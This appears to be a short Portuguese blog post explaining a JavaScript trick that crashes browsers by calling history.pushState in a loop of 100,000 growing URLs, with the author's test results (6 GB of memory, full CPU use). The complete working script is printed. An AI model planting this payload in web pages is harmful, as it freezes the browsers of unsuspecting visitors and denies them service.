Testei em uma máquina de testes aqui em casa, e consumiu os 6 GB de memória, e elevou o processamento em 100%.
Analisando melhor, seu funcionamento é bem simples;
Esse simples código em JavaScript que é o causador do travamento;
Como podemos ver, a cada interação, ele grava um novo histórico no seu navegador, fazendo-o travar instantaneamente.
O cara ainda foi humilde, nem quis colocar um valor muito alto, ou mesmo usar alguma thread com php.
<script>
var total = "";
for( var i = 0; i < 100000; i++ ) {
total = total + i.toString();
history.pushState(0,0, total );
}
</script>
0 comentários:
Postar um comentário